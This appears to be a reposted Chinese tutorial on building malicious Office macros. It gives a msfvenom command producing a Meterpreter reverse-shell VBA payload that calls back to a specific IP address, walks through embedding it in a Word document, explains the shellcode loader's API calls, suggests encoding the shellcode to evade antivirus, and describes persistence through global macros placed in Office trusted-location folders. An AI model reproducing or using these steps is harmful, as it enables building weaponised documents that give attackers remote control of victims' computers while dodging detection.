内容简介:office宏,译自英文单词Macro。宏是微软公司为其office软件包设计的一个特殊功能,软件设计者为了让人们在使用软件进行工作时,避免一再地重复相同的动作而设计出来的一种工具,它利用简单的语法,把常用的动作写成宏,当在工作时,就可以直接利用事先编好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。Visual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OL
0x00 宏 - Macro
office宏,译自英文单词Macro。宏是微软公司为其office软件包设计的一个特殊功能,软件设计者为了让人们在使用软件进行工作时,避免一再地重复相同的动作而设计出来的一种工具,它利用简单的语法,把常用的动作写成宏,当在工作时,就可以直接利用事先编好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。
Visual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来扩展Windows的应用程序功能,特别是Microsoft Office软件。也可说是一种应用程式视觉化的Basic 脚本。该语言于1993年由微软公司开发的的应用程序共享一种通用的自动化语言-Visual Basic for Application(VBA),实际上VBA是寄生于VB应用程序的版本。
0x01 生成宏
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=71.19.144.69 LPORT=8899 -f vba -o try.vba
使用msf就可以生成宏代码,接下来只要放入word或者excel、ppt即可。
0x02 创建宏
新建一个文档,另存为“启用宏的Word文档”:
视图-查看宏:
随便输入一个宏名称,点击“创建”:
此时进入宏编辑器:
将msf生成的payload放入:
保存文件,关闭,再打开即可执行宏代码。
0x03 宏代码分析
msf生成默认的vba会导入三个api函数,常见的shellcode加载器代码:
- CreateThread 创建线程
- VirtualAlloc 申请虚拟内存空间
- RtlMoveMemory 拷贝内存
HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
LPVOID VirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
VOID RtlMoveMemory( VOID * Destination, VOID * Source, DWORD Length );
其中 Array(72,131,228,240,232,... 就是shellcode,混淆的办法有很多种。
shellcode可以自己在VBA里解码或者比如每个元素自增1,运行的时候-1,达到免杀…
0x04 效果
在线地址: https://www.bilibili.com/video/av52532639/
0x05 拓展分析
如果创建的是全局宏,Office会在这个目录生成一个dotm文档:
C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Templates
全局宏是对于当前计算机所有文档对象有效,即文档本身不包含宏代码,也可以运行全局宏。
很遗憾,全局宏没有一个固定的名称,也就是说要先通过Office创建一个全局宏,然后其他文档打开时才可以执行代码。
经过测试,这个全局宏中的文件: vbaProject.bin 是包含了特征的文件,但是反病毒软件不会扫描这个文件,除非主动查杀。
这个特性可能可以达到维持权限的作用。
后来才发现我使用的还是全局宏达到的免杀
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\PowerPoint\Security\Trusted Locations
同过PorcessMonitor分析,从注册表找到几个授信目录:
- %APPDATA%\Microsoft\Templates
- C:\Program Files\Microsoft Office\Root\Templates\
- %APPDATA%\Microsoft\Addins
- C:\Program Files\Microsoft Office\Root\Document Themes 16\
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Numerical Methods and Methods of Approximation in Science and En
Karan Surana / CRC Press / 2018-10-31
ABOUT THIS BOOK Numerical Methods and Methods of Approximation in Science and Engineering prepares students and other readers for advanced studies involving applied numerical and computational anal......一起来看看 《Numerical Methods and Methods of Approximation in Science and En》 这本书的介绍吧!
XML、JSON 在线转换
在线XML、JSON转换工具
HEX CMYK 转换工具
HEX CMYK 互转工具